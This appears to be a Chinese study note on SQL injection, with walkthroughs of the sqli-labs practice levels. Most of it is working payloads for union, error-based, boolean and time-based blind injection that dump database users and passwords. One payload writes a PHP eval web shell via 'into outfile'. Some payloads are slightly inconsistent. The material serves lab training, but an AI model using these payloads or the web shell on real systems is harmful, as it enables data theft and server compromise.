首页 > 其他分享 >网络安全知识导航

网络安全知识导航

时间：2023-10-15 23:15:04浏览次数：42  
标签：网络安全 知识 concat --+ table 导航 id select schema 

<span style="color:red"></span>
<span style="color:yellow"></span>
<span style="color:green"></span>

网络基础

网络通信

IP地址

OSI七层模型

客户端与服务端

协议和端口

网站构成

WEB安全

SQL注入

课前导论

  • 自学部分

    1. 市场上主流的数据库，及常搭配后端语言；
    2. 关系型数据库和非关系型数据库的区别；
    3. 掌握MySQL的基本使用
      1. 能够创建用户、数据库和表；
      2. 熟练掌握select搭配常见函数进行查询。

  • 什么是SQL注入

    1. 场景：通过在网站上输入信息，获取该网站数据库中的信息；

    2. 原理：网站程序将用户输入的信息作为参数，放到一条SQL语句中，并代入数据库执行；

    3. 条件：客户端向服务端提交的参数（用户输入或浏览器生成）会被代入数据库查询；

    4. 防御：对客户端提交的参数进行过滤，检测是否有常见的SQL代码。

      # 网站程序
num = input("请输入账号的编号：")
select username,password from users where id=num;
# 用户输入
如果 num = 1 union select user(),database()
select username,password from users where id=1 union select user(), database();

注入流程

  1. 确定数据的传输方式，确定参数：GET方式可直接在URL中注入，POST方式需要抓包；
  2. 确定包裹符号：根据SQL语法，数字可以不加引号，字符串则必须加引号包裹，这里的引号可以是单引号、双引号、单/双引号与圆括号的结合等；
  3. 判断字段数：判断网站程序一共查询了几列数据，为联合查询注入做铺垫；
  4. 判断显示位：判断网站程序是否直接将数据库的执行结果显示出来，为联合查询注入做铺垫；
  5. 选择注入方式

注入方式

联合注入

  1. 场景/条件：网站程序可以直接返回数据库的执行结果；

  2. 原理：通过union关键字构造select语句，是网站原有的SQL语句和客户端提交的参数拼接之后，使之成为一条联合查询语句

  3. 演示

    - URL: http://www.sqli-labs.com/Less-1/index.php?id=1
- 包裹参数的符号：'
- 请求方式：GET，参数：id
- 网站代码
	20行：$id=$_GET['id'];
	29行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入
	?id=-1' union select 1,database(),version() --+
	database()：security
	version()：8.0.12

报错注入

  1. 场景：网站程序不会返回数据库的执行结果，但可以返回数据库的报错信息；

  2. 原理：将select语句配合特殊字符写入到某些函数中，使函数报错，并将错误信息（包含select语句的执行结果）反馈出来；

  3. 演示

    - URL：http://www.sqli-labs.com/Less-5/index.php?id=5
- 包裹参数的符号：'
- 请求方式：GET， 参数：id
- 网站代码
	- 20行：$id=$_GET['id'];
	- 29行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	- 36行：echo 'You are in...........';
	- 44行：print_r(mysqli_error($con1));
- 注入
	#extractvalue("anyting", concat("￥", (payload)))：能查询的字符串最大长度为32，可以配合substring()函数使用
	?id=5' and extractvalue("BrankYeen", concat("$", (select user()))) --+
	
	#updatexml("anyting", concat("@", (payload)), "anyting")：能查询的字符串最大长度为32，可以配合substring()函数使用
	?id=5' and updatexml(1, concat("~", (select version())), 1) --+

  4. 常用的报错注入函数（跟数据库版本有很大关系，自行区分）

    • updatexml()：and updatexml("anything", concat(0x7e, (payload)), "anything")
    • extractvalue()：and extractvalue("anything", concat(0x7e, (payload)))
    • floor()：and select "anything" from (select count(*), concat((payload), floor(rand(0)*2) a from information_schema.tables group by a) x)
    • exp()：and exp(~(payload) a)
    • join()：and (select * from (select * from information_schema.mysql a join information_schema.tables b)) c
    • 等等

文件读写

  1. 场景：网站程序不能直接返回数据库的执行结果，或者需要获取webshell打开网站的后门；

  2. 原理：利用数据库的文件读取函数读取网站的敏感文件，或者文件写入函数直接向网站写入一句话木马，获取webshell；

  3. 条件：该网站的数据库拥有文件读取和写入的权限；直到网站大体的目录结构；一般情况下需要知道一些数据库结构；

  4. 演示：利用 into outfile 上传一句话木马

    - URL：http://www.sqli.com/Less-7/index.php?id=7
- 包裹符号：'))
- 请求方式：GET    参数：id
- 网站目录结构：D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7
- 注入
	?id=7')) union select 1,2,"<?php @eval($_POST["连接密码"]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7" --+
	webshell连接工具：输入地址和密码，直接连接
	权限维持：种不死马等

盲注

  1. 场景：没有显示位（不能联合注入）、没有报错信息（不能报错注入）、无论结果如何，都只显示固定页面；
  2. 条件：虽然不能显示任何信息，但是可以执行某些函数/功能；过程较多，一般编写脚本或利用工具进行盲注；
  3. 分类：布尔盲注、时间盲注；
    • 布尔盲注：判断正确，返回正常页面，判断错误，返回错误页面；
    • 时间盲注：判断正确，返回正常页面，但网站延时；判断错误，返回正常页面，网站不延时。
  4. 用到的函数
    • length(str)：返回str的长度；
    • left(str, len)：截取str的前len个字符；
    • sub(str, start, end)：截取str的start到end部分；
    • mid(str, n1, n2)：截取str中n1后的第n2个字符；
    • ascii(char)：将字符转换为ASCII码；
    • char(ascii)：将ASCII码转换为字符；
    • sleep(n)：沉睡n秒；
    • if(条件表达式, 值1, 值2)：如果条件表达式为true，返回值1，如果为false，返回值2；

sqli-labs

  1. 说明：sqli-labs是一款练习SQL注入的线下靶场，用PHP语言编写，使用MySQL数据库，共有65关，包含了SQL注入的绝大多数方式和场景；
  2. 搭建：网上搜教程自行搭建（注意sqli-labs使用的PHP版本应和服务器的版本一致），一般通过PhpStudy部署环境。

Less-1：联合查询

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 20行：$id=$_GET['id'];
	- 29行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	
# URL：http://www.sqli.com/Less-1/index.php?id=1
# 开始注入
	- 判断参数类型
		1. ?id=1qlkjkdj                  页面正常，有符号
		2. ?id=1'                        页面报错，含单引号
		3. ?id=1' --+             页面正常，确定为单引号
	- 判断注入方式
		1. 判断字段数
			?id=1' order by 3 --+                  页面正常
			?id=1' order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-1' union select 1,2,3 --+         页面显示2、3，可以使用联合注入
		3. 获取当前DBMS的用户名和版本
			?id=-1' union select 1,user(),version() --+
			用户名：admin
			版本：8.0.12						  MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
		4. 获取当前DB的名称
			?id=-1' union select 1,2,database() --+
			数据库：security
		5. 获取数据库中所有表的名称
			?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
			email中的字段：id,email_id
			
			?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
			referers中的字段：id,referer,ip_address
			
			?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=-1' union select 1,2,group_concat(id) from users --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=-1' union select 1,2,group_concat(username) from users --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=-1' union select 1,2,group_concat(password) from users --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913200105068

Less-2：联合查询

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 24行：$id=$_GET['id'];
	- 32行：$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	
# URL：http://www.sqli.com/Less-2/index.php?id=2
# 开始注入
	- 判断参数类型
		1. ?id=2abcd        页面错误，可能为数字型
		2. ?id=2 and 2=2    页面正常，存在漏洞，且参数为数字型
	- 判断注入方式
		1. 判断字段数
			?id=2 order by 3 --+                  页面正常
			?id=2 order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-2 union select 1,2,3 --+         页面显示1、2，可以使用联合注入
		3. 获取当前DBMS的用户名和版本
			?id=-2 union select 1,user(),version() --+
			用户名：admin
			版本：8.0.12						  MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
		4. 获取当前DB的名称
			?id=-2 union select 1,2,database() --+
			数据库：security
		5. 获取数据库中所有表的名称
			?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
			email中的字段：id,email_id
			
			?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
			referers中的字段：id,referer,ip_address
			
			?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=-2 union select 1,2,group_concat(id) from users --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=-2 union select 1,2,group_concat(username) from users --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=-2 union select 1,2,group_concat(password) from users --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913201400498

Less-3：联合查询

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 22行：$id=$_GET['id'];
	- 31行：$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
	
# URL：http://www.sqli.com/Less-3/index.php?id=3
# 开始注入
	- 判断参数类型
		1. ?id=3abcdef                            页面正常，参数应为字符型
		2. ?id=3'                                 页面错误，符号可能为单引号
		3. ?id=3' --+                             页面错误，符号不是单引号，但含有单引号
		4. ?id=3') --+                            页面正常，符号应为('')
		5. ?id=3abcdef') --+                      页面正常，确定符号为('')的字符型参数
	- 判断注入方式
		1. 判断字段数
			?id=3') order by 3 --+                  页面正常
			?id=3') order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-3') union select 1,2,3 --+         页面显示2、3，可以使用联合注入
		3. 获取当前DBMS的用户名和版本
			?id=-3') union select 1,user(),version() --+
			用户名：admin
			版本：8.0.12						  MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
		4. 获取当前DB的名称
			?id=-3') union select 1,2,database() --+
			数据库：security
		5. 获取数据库中所有表的名称
			?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
			email中的字段：id,email_id
			
			?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
			referers中的字段：id,referer,ip_address
			
			?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=-3') union select 1,2,group_concat(id) from users --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=-3') union select 1,2,group_concat(username) from users --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=-3') union select 1,2,group_concat(password) from users --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913201502804

Less-4：联合查询

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 20行：$id=$_GET['id'];
	- 28行：$id = '"' . $id . '"';
	- 29行：$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
	
# URL：http://www.sqli.com/Less-4/index.php?id=4
# 开始注入
	- 判断参数类型
		1. ?id=4abcd                                页面正常，参数为字符型
		2. ?id=4'                                   页面正常，符号中不含有单引号
		3. ?id=4"                                   页面错误，符号中含有双引号
		4. ?id=4" --+                               页面错误，符号不为双引号
		5. ?id=4") --+                              页面正常，符号应为("")
		6. ?id=4abcdef") --+                        页面正常，确定符号为("")
	- 判断注入方式
		1. 判断字段数
			?id=4") order by 3 --+                  页面正常
			?id=4") order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-4") union select 1,2,3 --+         页面显示2、3，可以使用联合注入
		3. 获取当前DBMS的用户名和版本
			?id=-4") union select 1,user(),version() --+
			用户名：admin
			版本：8.0.12						    MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
		4. 获取当前DB的名称
			?id=-4") union select 1,2,database() --+
			数据库：security
		5. 获取数据库中所有表的名称
			?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
			email中的字段：id,email_id
			
			?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
			referers中的字段：id,referer,ip_address
			
			?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=-4") union select 1,2,group_concat(id) from users --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=-4") union select 1,2,group_concat(username) from users --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=-4") union select 1,2,group_concat(password) from users --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913201738055

Less-5：报错注入

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 20行：$id=$_GET['id'];
	- 29行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	- 36行：echo 'You are in...........';
	- 44行：print_r(mysqli_error($con1));
	
# URL：http://www.sqli.com/Less-5/index.php?id=5
# 开始注入
	- 判断参数类型
		1. ?id=5abcd                                页面正常，参数为字符型
		2. ?id=5'                                   页面错误，符号中含有单引号
		3. ?id=5' --+                               页面正常，确定符号为单引号

	- 判断注入方式
		1. 判断字段数
			?id=5' order by 3 --+                  页面正常
			?id=5' order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-5' union select 1,2,3 --+         页面没有返回数据库的执行结果，无法进行联合注入
		3. 尝试报错注入
			?id=5' and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+
			用户名：admin
		4. 获取DBMS的版本
			?id=5' and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+
			版本：8.0.12
		5. 获取当前DB的名称
			?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+
			数据库：security
		6. 获取数据库中所有表的名称
			?id=5' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+
			email中的字段：id,email_id
			
			?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+
			referers中的字段：id,referer,ip_address
			
			?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=5' and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=5' and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=5' and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913202044777

Less-6：报错注入

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 20行：$id=$_GET['id'];
	- 28行：$id = '"'.$id.'"';
	- 29行：$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	- 36行：echo 'You are in...........';
	- 44行：print_r(mysqli_error($con1));
	
# URL：http://www.sqli.com/Less-6/index.php?id=6
# 开始注入
	- 判断参数类型
		1. ?id=6abcd                                页面正常，参数为字符型
		2. ?id=6"                                   页面错误，符号中含有双引号
		3. ?id=6" --+                               页面正常，确定符号为双引号

	- 判断注入方式
		1. 判断字段数
			?id=6" order by 3 --+                  页面正常
			?id=6" order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=-6" union select 1,2,3 --+         页面没有返回数据库的执行结果，无法进行联合注入
		3. 尝试报错注入
			?id=6" and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+
			用户名：admin
		4. 获取DBMS的版本
			?id=6" and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+
			版本：8.0.12
		5. 获取当前DB的名称
			?id=6" and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+
			数据库：security
		6. 获取数据库中所有表的名称
			?id=6" and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+
			email中的字段：id,email_id
			
			?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+
			referers中的字段：id,referer,ip_address
			
			?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+
			uagents中的字段：id,uagent,ip_address,username
			
			?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			?id=6" and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			?id=6" and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			?id=6" and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230913202138075

Less-7：文件读写

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 22行：$id=$_GET['id'];
	- 31行：$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
	- 38行：echo 'You are in.... Use outfile......';
	- 45行：echo 'You have an error in your SQL syntax';
	
# URL：http://www.sqli.com/Less-7/index.php?id=7
# 开始注入
	- 判断参数类型
		1. ?id=7abcd                                页面正常，参数为字符型
		2. ?id=7'                                   页面错误，符号中含有单引号
		3. ?id=7' --+                               页面错误，符号不是单引号
		4. ?id=7') --+                              页面错误，符号不是('')
		5. ?id=7')) --+                             页面正常，符号是((''))
		
	- 判断注入方式
		1. 判断字段数
			?id=7')) order by 3 --+                  页面正常
			?id=7')) order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=7')) union select 1,2,3 --+          页面没有返回数据库的执行结果，无法进行联合注入
		3. 尝试盲注
			网站目录结构：D:\\phpstudy_pro\\sqli-labs\\Less-7
			数据库：security
			表：uagents、users、emails、referers
		4. 木马写入
			?id=7')) union select 1,2,"<?php @eval($_POST['123.com']);?>" into outfile "D:\\phpstudy_pro\\sqli-labs\\Less-7\\alpha.php" from users;
		5. webshell工具连接
		6. 权限提升
		7. 权限维持

image-20230913202409405

Less-8：布尔盲注

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 20行：$id=$_GET['id'];
	- 29行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	- 36行：echo 'You are in...........';
	
# URL：http://www.sqli.com/Less-8/index.php?id=8
# 开始注入
	- 判断参数类型
		1. ?id=8abcd                                页面正常，参数为字符型
		2. ?id=7'                                   页面错误，符号中含有单引号
		3. ?id=7' --+                               页面正常，确定符号是单引号
		
	- 判断注入方式
		1. 判断字段数
			?id=7')) order by 3 --+                  页面正常
			?id=7')) order by 4 --+                  页面报错，确定字段数为3
		2. 尝试联合注入
			?id=7')) union select 1,2,3 --+          页面没有返回数据库的执行结果，无法进行联合注入
		3. 盲注获取数据库名
			#判断数据库名字的长度
			?id=8' and length((database()))=8 --+    页面正常，长度小于等于8
			?id=8' and length((database()))=9 --+    页面错误，长度确定为8
			
			#判断数据库名称的每一位
			?id=8' and substr(database(),1,1)='s' --+    第一位：s
			......                                       ......
			?id=8' and substr(database(),8,1)='y' --+    第九位：y
		4. 盲注获取表名
			#判断所有表名称的长度
			?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=29 --+                       页面正常，长度小于等于29
			?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=30 --+                       页面错误，长度确定为29     
            
			#判断表名的每一位
			?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,1)='e' --+                  第一位：e
			......                                    ......
			?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),29,1)='s' --+                 第29位：s

		5. 盲注获取字段名
			#判断某张表里的所有字段长度
			?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=20 --+    页面正常，长度小于等于20
			?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=21 --+    页面错误，长度确定为20

			#判断字段中的每一位
			?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),1,1)='i' --+    第一位：i
			......										    ......
			?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),20,1)='d' --+    第20位：d

image-20230913202447933

Less-9：时间盲注

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 21行：$id=$_GET['id'];
	- 30行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	- 37行：echo 'You are in...........';
	- 45行：echo 'You are in...........';
	
# URL：http://www.sqli.com/Less-9/index.php?id=9
# 开始注入
	- 判断参数类型
		1. ?id=9abcd                                页面正常，参数为字符型
		2. ?id=9'                                   页面正常，符号中可能不包含单引号
		3. ?id=9"                                   页面正常，符号中可能不包含双引号（结合代码可知，无论数据库返回任何结果，都显示同一页面，可考虑时间盲注）
		4. ?id=9 and sleep(5)                       页面没有延时5秒
		5. ?id=9' and sleep(5) --+                  页面延时5秒，可以执行SQL语句，可能存在时间盲注，符号为单引号
		
	- 时间盲注
		1. 获取数据库名
			#判断数据名称长度
			?id=9' and sleep(if(length(database())=8,5,0)) --+
			#获取具体的数据库名
			?id=9' and sleep(if((substr(database(),1,1)='s'),5,0)) --+
		2. 获取数据库中所有的表
			#判断表名的长度
			?id=9' and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+
			#获取具体的表名
			?id=9' and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+
		3. 获取表中的字段
			#判断字段的长度
			?id=9' and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+
			#获取具体的字段名
			?id=9' and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+

image-20230913222554911

Less-10：时间盲注

# 根据提示，该关卡为GET方式请求，且参数为id
# 网站关键源码
	- 21行：$id=$_GET['id'];
	- 30行：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	- 37行：echo 'You are in...........';
	- 45行：echo 'You are in...........';
	
# URL：http://www.sqli.com/Less-10/index.php?id=10
# 开始注入
	- 判断参数类型
		1. ?id=10abcd                                页面正常，参数为字符型
		2. ?id=10'                                   页面正常，符号中可能不包含单引号
		3. ?id=10"                                   页面正常，符号中可能不包含双引号（结合代码可知，无论数据库返回任何结果，都显示同一页面，可考虑时间盲注）
		4. ?id=10 and sleep(5)                       页面没有延时5秒
		5. ?id=10" and sleep(5) --+                  页面延时5秒，可以执行SQL语句，可能存在时间盲注，符号为双引号
		
	- 时间盲注
		1. 获取数据库名
			#判断数据名称长度
			?id=10" and sleep(if(length(database())=8,5,0)) --+
			#获取具体的数据库名
			?id=10" and sleep(if((substr(database(),1,1)='s'),5,0)) --+
		2. 获取数据库中所有的表
			#判断表名的长度
			?id=10" and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+
			#获取具体的表名
			?id=10" and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+
		3. 获取表中的字段
			#判断字段的长度
			?id=10" and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+
			#获取具体的字段名
			?id=10" and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+

image-20230913223907677

Less-11：联合查询

# 根据提示，该关卡为POST方式请求，通过BurpSuite抓包发现，参数有三个：uname,passwd,submit
# 网站关键源码
	- 46行：$uname=$_POST['uname'];
	- 47行：$passwd=$_POST['passwd'];
	- 57行：@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	- 70行：echo 'Your Login name:'. $row['username'];
	- 72行：echo 'Your Password:' .$row['password'];
# URL：http://www.sqli.com/Less-11/index.php
# 开始注入（通过代码分析，uname和passwd两个位置都能返回数据库的执行结果，都存在注入，这里以uname位置为例）
	- 判断参数类型
		1. uname=admin'                            页面错误，符号可能是单引号
		2. uname=admin' #                          页面正常，符号确定是单引号
	- 判断注入方式
		1. 判断字段数
			uname=admin' order by 2 #              页面正常
			uname=admin' order by 3 #              页面报错，确定字段数为2
		2. 尝试联合注入
			uname=-admin' union select 1,2 #         页面显示1、2，可以使用联合注入
		3. 获取当前DBMS的用户名和版本
			uname=-admin' union select user(),version() #
			用户名：admin
			版本：8.0.12						  MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
		4. 获取当前DB的名称
			uname=-admin' union select 1,database() #
			数据库：security
		5. 获取数据库中所有表的名称
			uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+
			所有的表：emails,referers,uagents,users
		6. 获取每张表里的字段名
			uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' #
			email中的字段：id,email_id
			
			uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' #
			referers中的字段：id,referer,ip_address
			
			uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' #
			uagents中的字段：id,uagent,ip_address,username
			
			uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
			users中的字段：id,username,password
		7. 获取users表中的所有数据
			uname=-admin' union select 1,group_concat(id) from users #
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			uname=-admin' union select 1,group_concat(username) from users #
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			uname=-admin' union select 1,group_concat(password) from users #
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230914093551442

image-20230914093606835

Less-17：报错注入

# 根据提示，该关卡为POST方式请求，通过BurpSuite抓包发现，参数有三个：uname,passwd,submit
# 网站关键源码
	- 71行：$uname=check_input($con1, $_POST['uname']); 获取表单中的uname参数，并对其过滤
	- 73行：$passwd=$_POST['passwd']; 直接获取表单中的passwd参数
	- 87行：$row = mysqli_fetch_array($result, MYSQLI_BOTH); 判断uname是否存在与数据库中
	- 88行：$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 如果存在，将新密码存入数据库
	- 104行：print_r(mysqli_error($con1)); 如果不存在，输出错误的结果
# URL：http://www.sqli.com/Less-17/index.php
# 开始注入（通过代码分析，uname参数不存在注入漏洞）
	- 判断参数类型
		1. passwd=admin'                            页面错误，符号可能是单引号
		2. passwd=admin' #                          页面正常，符号确定是单引号
	- 判断注入方式
		1. 判断字段数
			passwd=admin' order by 1 #              页面错误，数据库没有进行查询
		2. 报错注入获取当前DBMS的用户名和版本
			passwd=admin' and extractvalue(null,concat(0x7e,(select user()),0x7e)) #
			passwd=-admin' and extractvalue(null,concat(0x7e,(select version()),0x7e)) #
			用户名：admin
			版本：8.0.12						  MySQL5.0.0版本以上，可通过information_schema数据库查询其他数据库的信息
